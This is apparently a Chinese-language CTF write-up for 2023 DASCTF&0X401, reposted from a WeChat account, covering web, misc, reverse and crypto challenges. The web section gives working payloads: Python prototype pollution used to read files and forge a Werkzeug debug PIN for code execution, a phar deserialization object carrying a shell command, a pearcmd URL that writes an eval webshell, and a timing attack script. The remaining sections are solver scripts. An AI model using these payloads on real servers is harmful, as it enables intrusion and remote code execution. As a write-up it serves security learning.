Web
EzFlask
Python 原型链污染,可以看看这篇文章:https://tttang.com/archive/1876
通过修改__file__
读取文件,计算PIN码进行RCE
{"username":"1","password":"1","u005fu005fu0069u006eu0069u0074u005fu005f":{"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f":{"u005fu005fu0066u0069u006cu0065u005fu005f":"/proc/self/cgroup"}}}
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2596073883174',
'96cec10d3d9307792745ec3b85c89620docker-c1408799c329584471ab10a3567a1d9bb72fb760be2fde2b60c04b9447c4f82c.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
MyPicDisk
存在万能密码登录,获取y0u_cant_find_1t.zip
文件 跟进文件可知是phar反序列化
,使用如下代码生成phar
文件
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
然后上传图片,最后进行触发
ez_cms
pearcmd!栓Q
/?+config-create+/&r=../../../../../../../../../usr/share/pear/pearcmd&<?=eval($_REQUEST[1]);?>+/tmp/aaa123.php
ez_timing
使用HTTP/2
可以进行访问
使用HEAD
请求读取key
然后伪造Cookie读取源码
看源码
import time
from flask import Flask, session,request
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
FLAG = os.environ["SECRET"]
assert " " not in FLAG
TINY_TIME = 6.114514 * 10 ** -44
@app.route("/")
def index():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!,cancan /filen'.format(session['user'])
@app.route('/getkey')
def getkey():
if request.method != "GET":
session["key"] = app.config['SECRET_KEY']
else:
return "GET is not allowdn"
@app.route("/file")
def read():
if session.get('user') != "admin":
return "User not admin! getkey first!n"
else:
with open(__file__) as f:
return f.read()
@app.route("/<secret>")
def check_flag(secret):
if len(secret) != len(FLAG):
return "WAKUWAKU!"
for a, b in zip(secret, FLAG):
if a == " ":
continue
elif a != b:
return "WRONG!"
else:
time.sleep(TINY_TIME)
if " " in secret:
return "WRONG!"
在想是不是需要通过时间的差异来获取字符,但是直接来时间太短了。因此在google搜了一下CTF "HTTP/2" "timing"
搜到第一篇github项目https://github.com/ConnorNelson/spaceless-spacing
基本和这个题一模一样,并且还有利用脚本,因此修改一下脚本
将target修改为target = 'http://139.155.99.122:12003/'.rstrip("/")
将request_a和request_b添加"Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.ZLuUUw.8r_hM2qVcb9wYbB13Z06ZYZq-gQ"
字典加个_
长度爆破出来是19,因此直接改
然后运行脚本
有个字符错了,按照单词来说应该是attack
因此得到flag为dasctf{time_attack}
Misc
ezFAT32
首先用winhex打开,发现在空余空间有个hint
然后往下拉,发现一个bmp
由于我直接提取没提取出来,因此写个脚本截取,可以知道8a dd 31 00
是这个bmp的大小,转换过来是3267978
f = open('fs - 副本.img','rb').read()
data = f[0x100800:0x100800+3267978]
fw = open('out.bmp','wb').write(data)
然后计算一下sha256即可
1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5
然后看了一下这个镜像就没别的东西了,一直在思考bmp隐写又在想如果隐写了文件进去他是怎么做到提前知道密码的
一直等到更新附件,最后用附件里面的flag.zip,使用这个sha256值来解
最后得到flag
dasctf{Yep_Y0u_F1nd_The_F1ag!Suff3r_t0_rec0ver}
Coffee desu!
https://zh.wikipedia.org/zh-sg/%E8%B6%85%E6%96%87%E6%9C%AC%E5%92%96%E5%95%A1%E5%A3%B6%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE
按照要求,猜测先BREW再WHEN然后再PROPFIND最后GET
先BREW
The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.
添加上即可ADD,然后用刚刚说的顺序,但是最后的时候GET出来还是开头的You should add the milktea before getting the coffee!
因此第二次我只BREW不WHEN,直接去GET即可得到flag
Rev
controlflow
修改返回地址来劫持控制流,因为代码片段少可以在首部下断点或通过调试查看栈来获取调用顺序。
"""
c[i]^0x401
c[i]+=i*i
c[i]^=i*(i+1) ... [10,30]
c[i]-=i
c[i]=3*c[i]
for i in range(10,30,2):
c[i],c[i+1]=c[i+1],c[i]
"""
enc=[0x00000CCF, 0x00000CC0, 0x00000CFC, 0x00000CD8, 0x00000D23, 0x00000D11, 0x00000DC8, 0x00000D7D, 0x00000DAA, 0x00000E2B, 0x00000E7C, 0x00000E5B, 0x00000EA9, 0x00000ECA, 0x00000F5A, 0x00000F5A, 0x00000FB1, 0x0000104D, 0x00001095, 0x0000117C, 0x0000137D, 0x000012F3, 0x0000142E, 0x0000141C, 0x00001233, 0x00001287, 0x000011F4, 0x00001758, 0x00001461, 0x0000122A, 0x00001782, 0x000017F7, 0x00001911, 0x0000194D, 0x00001A10, 0x00001AEB, 0x00001B90, 0x00001CE6, 0x00001DE2, 0x00001ED2]
for i in range(10,30,2):
enc[i],enc[i+1]=enc[i+1],enc[i]
for i in range(len(enc)):
enc[i]//=3
enc[i]+=i
for i in range(10,30,1):
enc[i]^=(i-10)*(i-10+1)
for i in range(len(enc)):
enc[i]-=i*i
enc[i]^=0x401
print(bytes(enc))
webserver
根据字符串信息可得知程序基于oatpp框架开发,程序无符号,所以尝试编译一份demo,可参考https://blog.51cto.com/u_13999641/5101994,编译完成后使用bindiff恢复符号。
// 自定义请求处理程序
class Handler : public oatpp::web::server::HttpRequestHandler
{
public:
// 处理传入的请求,并返回响应
std::shared_ptr<OutgoingResponse> handle(const std::shared_ptr<IncomingRequest>& request) override {
O_UNUSED(request);
return ResponseFactory::createResponse(Status::CODE_200, "Hello, World!");
}
};
对创建相应函数oatpp::web::protocol::http::outgoing::ResponseFactory::createResponse交叉引用来寻找关键代码,可找到明文解密函数 sub_404955 和 关键函数 sub_40617E。
z3解线性运算即可
from z3 import *
v16=[0]*40
v16[0] = 33211;
v16[1] = 36113;
v16[2] = 28786;
v16[3] = 44634;
v16[4] = 30174;
v16[5] = 39163;
v16[6] = 34923;
v16[7] = 44333;
v16[8] = 33574;
v16[9] = 23555;
v16[10] = 35015;
v16[11] = 42724;
v16[12] = 34160;
v16[13] = 49166;
v16[14] = 35770;
v16[15] = 45984;
v16[16] = 39754;
v16[17] = 51672;
v16[18] = 38323;
v16[19] = 27511;
v16[20] = 31334;
v16[21] = 34214;
v16[22] = 28014;
v16[23] = 41090;
v16[24] = 29258;
v16[25] = 37905;
v16[26] = 33777;
v16[27] = 39812;
v16[28] = 29442;
v16[29] = 22225;
v16[30] = 30853;
v16[31] = 35330;
v16[32] = 30393;
v16[33] = 41247;
v16[34] = 30439;
v16[35] = 39434;
v16[36] = 31587;
v16[37] = 46815;
v16[38] = 35205;
v16[39] = 20689;
v17=[0x00000017, 0x0000000D, 0x00000004, 0x00000030, 0x00000029, 0x00000029, 0x0000002A, 0x00000021, 0x0000001E, 0x00000003, 0x00000045, 0x00000001, 0x0000000D, 0x0000002D, 0x00000029, 0x00000040, 0x00000008, 0x00000050, 0x0000000F, 0x0000002A, 0x00000038, 0x00000013, 0x0000003E, 0x00000046, 0x00000017, 0x0000003F, 0x0000001E, 0x00000044, 0x00000011, 0x00000038, 0x0000005C, 0x0000000C, 0x00000010, 0x00000040, 0x0000001F, 0x00000003, 0x00000011, 0x00000047, 0x0000003A, 0x00000009, 0x00000040, 0x00000053, 0x00000047, 0x00000034, 0x00000063, 0x00000059, 0x0000004C, 0x00000044, 0x00000001, 0x00000063, 0x00000010, 0x00000010, 0x00000034, 0x0000002B, 0x00000000, 0x0000002C, 0x00000032, 0x00000020, 0x00000032, 0x0000001F, 0x00000014, 0x0000003F, 0x00000002, 0x00000063, 0x00000000, 0x00000039, 0x0000004F, 0x0000002B, 0x00000047, 0x00000013, 0x00000050, 0x0000005C, 0x0000005D, 0x0000003A, 0x00000054, 0x0000004A, 0x00000051, 0x0000002D, 0x00000037, 0x00000015, 0x00000001, 0x00000063, 0x0000001E, 0x0000001C, 0x00000038, 0x00000001, 0x0000000C, 0x0000004D, 0x0000005C, 0x00000004, 0x00000025, 0x00000043, 0x0000003C, 0x00000036, 0x00000033, 0x0000004F, 0x00000026, 0x00000057, 0x00000030, 0x00000010]
mc=[Int("mc%d"%i) for i in range(40)]
s=Solver()
for k in range(4):
for m in range(10):
for n in range(10):
v16[10 * k + m] -= mc[10 * k + n] * v17[10 * n + m]
for i in range(4):
for j in range(10):
s.add(v16[10*i+j]==0)
if s.check()==z3.sat:
m=s.model()
for i in range(40):
print(chr(m[mc[i]].as_long()),end='')
tcp
首先192.168.25.54向192.168.10.137发送RSA的公钥(n,e)。
5fcef0e867349fc68f40763a6b0bde0101000100000000000000000000000000,很明显的e值0x10001。
之后服务端用 sub_2090进行RSA加密,8字节加密后保存为16字节,最后发送16*6=96字节的数据,用于传出后续加解密的key。
sub_1D9A用于解密,如果长度小于15就是异或,大于15使用tea解密。
之后服务端循环接受客户端传来的12字节作为控制码,结构是3个dword,第一个用于决定操作类型,第三个是有效数据长度,第二个则为存储偏移或校检等。
操作类型: 1对应解密输出,2对应解密后存储,3对应输入并存储,4是输出,5执行写入的shellcode,6退出。
按顺序解析流量包中客户端发来的数据,ans是使用tea解密后的结果,tea的key为96字节解密后为48字节,前32字节对应4个8字节的tea的key,后16字节则为已获得key。
from Crypto.Util.number import *
import gmpy2 as gp
n=0x1DE0B6B3A76408FC69F3467E8F0CE5F #在线分解n
p=1152921504606848051
q=2152921504606847269
e=0x10001
d=gp.invert(e,(p-1)*(q-1))
# print(isPrime(p),isPrime(q))
data="7a3202cc78acb66216341041b18ea201a3eb93301b27a2b6e77cb244d2e02c0082cd6369f3a7c1d2a1dd9b561c98510017c911f2ac5ec565e2d9b9016df34900661212d889172b99954d25018b5d43012e81783c2d8cebedeb053ccd651de400"
k=b""
for i in range(0,len(data),32):
c=bytes.fromhex(data[i:i+32])[::-1]
c=int(c.hex(),16)
k+=long_to_bytes(pow(c,d,n))
print(long_to_bytes(pow(c,d,n)))
"""
databuf : DWORD *4 BYTE[16]
"""
teak=[int.from_bytes(k[i:i+8],"little") for i in range(0,32,8)]
for i in teak:
print(hex(i),end=',')
print()
op1=bytearray(bytes.fromhex("15cb56c17b19fb2de6db8472"))
for i in range(len(op1)):
op1[i]^=k[i+32]
print(op1.hex()) #(1,0,0x22)
s="16cb56c17a19fb2ddcdb8472d52d1d6b1693164a13316a33be05bc1c4a2029b9efbf96dc917da5056d3ee46c2b0815cb56c17b19fb2de6db847211fd382bc3eb739037f7dfa4b0ca553f4dc67f81b71b7f9215cb56c17819fb2dd6db84727c8526cc3d6383bbcf0159590648586e7dd08b49cc1ee7f519ec206592254842b7f33d25646640ab16cb56c17a19fb2de5db8472c008ba6c15334f76485d8c17082f4468addbb3a62d20e754105d1014cb56c17a19fb2dfedb847215cb56c17219fb2dbdd984723419b3ea63306ff1224173d834b1f9c436332f39ec2aa102bb7747859d50793674b05a56f14ee29491895944cbf1f6846a9831f8dd5666202c4b0d558a690239b1dece4322fe535c0742cc2f37378577b999eaab713d853643bc379dac7f7f471ef2240b8898fac4431149aa27a65507db39a9111dea802a803506fbd4a2d558068974f993dcab4587a5620db6909a951dcf8bb65d4f8e92ac8300fd049bb3218199705babb255e7daef40a28c1d7e3f74cb1d44687be127258aafc4dbdaf09266daa68605e250aa244c179d759d22e90ed3d8a9bf155fae86c721ed8ee5603c4613ac47e5a80079b909727277fff31d20529b3c022e3b1a3616d639ca036586ef17d3dc9bdf1eeec5859f0022514f29b240f30c818e7fdd478f36779978c08885b2266e3cf599d0a4c27bca4615720a08e13916ec4a6ef5c943ddb25566e620726f56c5160913564d683badcc7204ec8e7080221de325a431a0680e9e108e427c7bc3807b86c78820bc9c2340709da352d953aea805a04b53f2d88f7b8fae50e5ba2de55615bc9b2e526167226e75f5c8827593281f23a65e5098e0e8e2623ee4f892bac76e6987a05832bc0b84215bb74ed83786bd55265e61ba5702170fda63e01a44d6b8a6f1740a6c03803095e5176bde18ee873dcd6380de9f325f1c436c11e3250cebceceb319a49a4e3f2f62cfd137b602e27f3974a113df414287da48afd9e8c7ef0bdb4d345313b52d662202f543f426f8271432a20186b1dc7f70d4123def1c3745c1ffe7f4017ff60e0b7486f0e8db90889a36072583ddb26dbd37778115cb56c17e19fb2d5edb847263424fb4921f224eb2d445183f9bc6541d1ac77072a6e616e6826cbbebe96af229e79620462869e51686d4d523f782b2e5b43a769403bf62f1b87512013f95d068dc04beb337f8741b471386a7746ebc7b9c7a9568ed9b590936cdc533f6f943e3a37966362b62092ce5a3c53a95b33d0ff1ac2c5800b67b8cc40d614b8df74d4114d4bb7104b545ac7d0b9eb606578fd63561578740ce7eeaa189baacd436ae15cb56c17f19fb2d5edb8472ecc4942bbc4e2bbec5c4adb791a7096298f6347c4a277364cea894234bdcf69811f31ce644bae10edc0de4ccc200a44fa0e2faa4d2eb3b28dcecc3a468efdbfa7de2728b27dfafd1a5df4803a7986cfa768fb1f9751ba1a7d47c9a6928978810d76dceb819738f4684637d3ddd2cc41e2a4585a366d4a46b32db59508f34bf5c654be7b5c86e24cca5d1013738c32ba9b6083e76e0f93c80fe712261841e546315cb56c17c19fb2d5edb847260fd338fdcecb096e26a56603082a58f5b1fb0ffb7fc8faac33589ec52ed02256aba88b2c2836433a5d146c6efe784d47da7a7ffc4256f3dce73314c0171f89e9a4f6a95f59e8460d2b65fe178daba5faf8d34d99e32a50aefbbb7ed9c9507765958870dd2e1836fe608215ca753a7125f3cb86ac32d1149cf2a144b873fc7a96914d376ed2fe88d36a609596a68d8bb76e71d1b81a8db3618271f002ff6fb5815cb56c17d19fb2d5edb8472b72d657abc1a3c2133fa45fd834d28fce3b5bdd8f111bfa61386a306aa74598ea6e5022f4aac8d9acd442c44465eb334c26d060dfc8f4f59c13f3225a5ea111f9e3e9ef4c75f40b85c43dbdd5d30970cde507cd96fa6a88970e23c1dc1cb9a1eab2f4cc16444226aff6c49dd13e030240ea32267a1699b5b8c83d05c1cc257f5028d649e2b58d96a1f59fcd42f027179e7400f2c64c3063ae1f9c496ec019eba12cb56c17219fa2dfedb847213cb56c17919fb2dfedb847211cb56c17a19fb2dfedb8472"
cur=0
while cur<len(s):
op1 = bytearray(bytes.fromhex(s[cur:cur+24]))
cur+=24
for i in range(len(op1)):
op1[i] ^= k[i + 32]
op=[int.from_bytes(op1[i:i+4],"little") for i in range(0,12,4)]
print(op)
print(list(bytes.fromhex(s[cur:cur+2*op[-1]])))
cur+=2*op[-1]
ans1=[72,101,108,108,111,44,32,116,104,105,115,32,105,115,32,116,104,101,32,114,101,109,111,116,101,32,115,101,114,118,101,114,46,10] #print
#2 1
ans2=[89,111,117,114,32,105,110,112,117,116,32,105,115,32,105,110,99,111,114,114,101,99,116,10]
#2 2
ans3=[89,111,117,114,32,105,110,112,117,116,32,105,115,32,99,111,114,114,101,99,116,32,44,32,67,111,110,103,114,97,116,117,108,97,116,105,111,110,115,10]
ans4=[80,108,101,97,115,101,32,101,110,116,101,114,32,121,111,117,114,32,112,97,115,115,119,111,114,100,10] #print
# 3 0 0 调用scanf
# 2 8
ans5=[243,15,30,250,85,72,137,229,72,131,236,48,72,137,125,216,199,69,232,0,0,0,0,235,4,131,69,232,1,139,69,232,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,133,192,117,226,131,125,232,40,15,133,234,0,0,0,72,139,69,216,72,137,199,232,46,1,0,0,199,69,236,0,0,0,0,235,126,139,69,236,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,193,248,16,137,69,248,139,69,236,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,37,255,255,0,0,137,69,252,139,69,236,5,88,2,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,57,69,248,117,126,139,69,236,5,188,2,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,57,69,252,117,94,131,69,236,1,131,125,236,39,15,142,120,255,255,255,199,69,240,0,0,0,0,235,60,139,69,240,5,200,0,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,85,240,129,194,44,1,0,0,72,99,210,72,141,12,149,0,0,0,0,72,139,85,216,72,1,202,139,0,137,2,131,69,240,1,131,125,240,99,126,190,235,78,144,235,1,144,199,69,244,0,0,0,0,235,58,139,69,244,131,192,100,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,85,244,129,194,44,1,0,0,72,99,210,72,141,12,149,0,0,0,0,72,139,85,216,72,1,202,139,0,137,2,131,69,244,1,131,125,244,99,126,192,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,248,0,0,0,0,235,77,139,69,248,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,8,139,69,248,5,144,1,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,16,139,69,248,72,152,72,141,52,133,0,0,0,0,72,139,69,232,72,1,240,49,202,137,16,131,69,248,1,131,125,248,39,126,173,199,69,252,0,0,0,0,235,77,139,69,252,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,8,139,69,252,5,244,1,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,16,139,69,252,72,152,72,141,52,133,0,0,0,0,72,139,69,232,72,1,240,1,202,137,16,131,69,252,1,131,125,252,39,126,173,144,144,93,195]
# 2 4
ans6=[16,228,39,34,62,210,76,123,160,154,193,42,187,247,182,24,56,14,96,90,42,203,34,122,92,138,200,54,251,176,182,81,204,224,163,100,174,224,175,17,217,221,213,1,106,249,216,65,177,197,188,59,80,142,218,4,116,200,94,94,15,76,118,122,120,243,178,46,125,204,122,75,224,202,171,61,160,167,75,33,183,223,166,32,30,67,70,15,67,153,214,126,99,2,137,54,64,31,33,29,195,194,250,63,199,229,58,24,65,112,151,50,222,214,4,49,198,233,63,121,75,110,136,75,238,186,44,83,4,188,140,116,235,8,74,118,169,178,227,107,60,202,236,78,21,212,108,112,5,61,172,34,56,123,163,32,226,180,16,85]
# 2 5
ans7=[89,0,0,0,51,0,0,0,10,0,0,0,46,0,0,0,33,0,0,0,25,0,0,0,64,0,0,0,84,0,0,0,66,0,0,0,82,0,0,0,16,0,0,0,74,0,0,0,56,0,0,0,88,0,0,0,37,0,0,0,52,0,0,0,25,0,0,0,97,0,0,0,37,0,0,0,86,0,0,0,49,0,0,0,8,0,0,0,74,0,0,0,31,0,0,0,9,0,0,0,21,0,0,0,21,0,0,0,77,0,0,0,38,0,0,0,49,0,0,0,65,0,0,0,79,0,0,0,52,0,0,0,75,0,0,0,78,0,0,0,37,0,0,0,53,0,0,0,42,0,0,0,22,0,0,0,19,0,0,0]
# 2 6
ans8=[39,34,0,0,76,123,0,0,193,42,0,0,182,24,0,0,96,90,0,0,34,122,0,0,200,54,0,0,182,81,0,0,163,100,0,0,175,17,0,0,213,1,0,0,216,65,0,0,188,59,0,0,218,4,0,0,94,94,0,0,118,122,0,0,178,46,0,0,122,75,0,0,171,61,0,0,75,33,0,0,166,32,0,0,70,15,0,0,214,126,0,0,137,54,0,0,33,29,0,0,250,63,0,0,58,24,0,0,151,50,0,0,4,49,0,0,63,121,0,0,136,75,0,0,44,83,0,0,140,116,0,0,74,118,0,0,227,107,0,0,236,78,0,0,108,112,0,0,172,34,0,0,163,32,0,0,16,85,0,0]
# 2 7
ans9=[173,228,0,0,178,210,0,0,253,154,0,0,38,248,0,0,141,14,0,0,133,203,0,0,103,138,0,0,34,177,0,0,0,225,0,0,51,225,0,0,159,221,0,0,169,249,0,0,191,197,0,0,186,142,0,0,99,200,0,0,110,76,0,0,58,243,0,0,169,204,0,0,181,202,0,0,43,168,0,0,205,223,0,0,51,67,0,0,108,153,0,0,45,2,0,0,55,31,0,0,10,195,0,0,178,229,0,0,129,112,0,0,206,214,0,0,37,234,0,0,74,110,0,0,42,187,0,0,153,188,0,0,3,9,0,0,22,179,0,0,46,202,0,0,142,212,0,0,150,61,0,0,95,123,0,0,178,180,0,0]
k4=[int.from_bytes(bytes(ans6[i:i+4]),"little") for i in range(0,160,4)]
k5=[int.from_bytes(bytes(ans7[i:i+4]),"little") for i in range(0,160,4)]
k6=[int.from_bytes(bytes(ans8[i:i+4]),"little") for i in range(0,160,4)]
k7=[int.from_bytes(bytes(ans9[i:i+4]),"little") for i in range(0,160,4)]
for i in range(40):
c=(k6[i]<<16)|(k7[i])
c-=k5[i]
c^=k4[i]
print(chr(c),end='')
在.eh_frame_hdr patch写入shellcode(ans5)
import ida_bytes
dt=[ans5]
adr=0x30E4
for i in range(len(dt)):
patch_byte(adr+i,dt[i])
print("ok")
关键加密,偏移可在12字节中的第二个dword得知。
void __fastcall sub_325F(__int64 a1)
{
int i; // [rsp+10h] [rbp-8h]
int j; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 39; ++i )
*(_DWORD *)(4LL * i + a1) ^= *(_DWORD *)(4LL * (i + 400) + a1);
for ( j = 0; j <= 39; ++j )
*(_DWORD *)(4LL * j + a1) += *(_DWORD *)(4LL * (j + 500) + a1);
}
for ( j = 0; j <= 39; ++j )
{
if ( *(int *)(4LL * j + a1) >> 16 != *(_DWORD *)(4LL * (j + 600) + a1)
|| (unsigned __int16)*(_DWORD *)(4LL * j + a1) != *(_DWORD *)(4LL * (j + 700) + a1) )
{
goto LABEL_14;
}
}
解密代码在上文中的python脚本中已经给出。
Crypto
ezDHKE
找一个光滑素数传过去,得到DH密钥和密文
from pwn import *
io=remote('node4.buuoj.cn',25050)
context.log_level='debug'
'''
for i in range(100,10000):
f=int('7777'+'0'*i+'1')
if isPrime(f) and f.bit_length()>1024:
print(f)
break
'''
p=77770000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
io.recvuntil('P = ')
io.sendline(str(p))
a=io.recvuntil('n')[:-1]
b=hexlify(io.recvuntil('n')[:-1])
print(a)
print(b)
离散对数解出私钥
G=GF(p)
x=G(x)
y=G(y)
g=G(g)
alice=discrete_log(x,g)
key=pow(y,alice,p)
print(key)
得到密钥key,aes解密得到flag
iv=b'dasctfdasctfdasc'
key=15133344130832325046146116082952055790889763706364743228727434883355452261376687379894776273861103235048652001088712830021784068471422257526796396976910194740764945082910429978169392604477124645088723308629826622191964716085888553741537572074343805234246146760448055698275087981268222159198837461423854400451570293770
key = sha256(long_to_bytes(key)).digest()
aes = AES.new(key, AES.MODE_CBC, iv)
c=b'x99]xc4xc9[xe5xd5x8c"xdfx9d!LQ[a^Mx00:xb6IK<x83xdcx1dR.sx96xabxc2?uzxffx977xb3xedyG<x1dax1da'
print(aes.decrypt(c))
#DASCTF{955d6302-1190-4995-a341-c1e6c2bf9048}
ezRSA
已知P的高16位,用N//P可以求出Q的高x位(为了准确选小一点),然后根据异或,用Q的高x位求出P的高16+x位依次类推,恢复P以及Q。
N=
gift=
pp=bin(gift)[2:][:16]
b=512-16
gift=bin(gift)[2:][16:]
x=5
for i in range((512-16)//x):
PP=int(pp+'0'*b,2) #已知高位
Qb=bin(N//PP)[2:][i*x:x*i+x] #算出Q的高位,取5
#print(Qb)
gb=gift[i*x:i*x+x]
pb=bin(int(gb,2)^int(Qb,2))[2:].zfill(x)
pp+=pb
b-=x
for i in range(3): #还差1位或者两位
px=int(pp+bin(i)[2:],2)
if N%px==0:
p=N//px
print(p)
break
RSA解密恢复n,n可能大于N,手动加一个N
q=N//p
assert p*q==N
phi=(p-1)*(q-1)
from gmpy2 import *
from Crypto.Util.number import *
d=invert(11,phi)
c1=
c2=
c3=
n=pow(c1,d,N)+N
print(n)
然后就是相关明文攻击了,由于secret长度未知,直接爆破
#b"dasctf{" + secret + b"}"
#secret
def attack(c1, c2, a, b, e, n):
PR.< x >= PolynomialRing(Zmod(n))
g1 = x ^ e - c1
g2 = (a * x + b) ^ e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
#return -gcd(g1, g2)[0]
return -gcd(g1,g2)[0]
for i in range(100):
b = bytes_to_long(b"dasctf{"+b'x00'*i+b"}")
flag=(attack(c2, c3, 256, b, 11, n))
if flag!=n-1:
print(b'dasctf{'+long_to_bytes(flag)+b'}')
得到flag:dasctf{C0pper_Sm1th_Mak3s_T1ng5_Bet4er}
ezAlgebra
首先根据c1,同余掉p,一元copper求出t
n =
c1 =
c2 =
c3 =
#xue1=4 ,che1=t+p,kai=n
#(c1-1997)=che^4+che^3+che^2+che
'''
PR.<x> = PolynomialRing(Zmod(n))
f = x^4+x^3+x^2+x-c1+1997
x0 = f.small_roots(X=2^32, beta=0.4)[0]
print(x0)
#2915836867
'''
t=2915836867
把t带回最大公因数求p
from gmpy2 import *
#from Crypto.Util.number import *
f = t**4+t**3+t**2+t-c1+1997
p=gcd(f,n)
#print(isPrime(p),p.bit_length())
N=n//p
print(p)
assert n%p==0
然后两个模q下的19次同解多项式,利用groebner_basis求出q
#xue2=19 che=m*t kai=q
#Qi-1997=che^19+che^18 +....+che
#xue3=19 che=(m+t) kai=q
#Qi-1997=che^19+che^18+....+che
P.<x,y> = PolynomialRing(Zmod(n))
f1=1997-c2
f2=1997-c3
for i in range(1,20):
f1+=(x*t)^i
f2+=(x+t)^i
G=[f1,f2]
B=Ideal(G).groebner_basis()
print(B)
q=87038069032840052005520908272237788908169043580221040711149494083975743478969
然后直接在模q下对两个多项式求最大公因式得到解
r=N//q
assert n==p*q*r
P.<x> = PolynomialRing(Zmod(q))
f1=1997-c2
f2=1997-c3
for i in range(1,20):
f1+=(x*t)^i
f2+=(x+t)^i
print(-gcd(f1,f2)[0])
然后转字符不对。。。。猜测比q大,爆破。
q=87038069032840052005520908272237788908169043580221040711149494083975743478969
x=56985796272753226120469211992443340429346162287195965942430959147227534853120
from Crypto.Util.number import *
for i in range(10000000):
flag=long_to_bytes(x+i*q)
if b'flag' in flag or b'das' in flag:
print(flag)
#dasctf{ShangPoXiaPoYaSiLeYiQianDuo}
原文始发于微信公众号(n03tAck):2023DASCTF&0X401 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论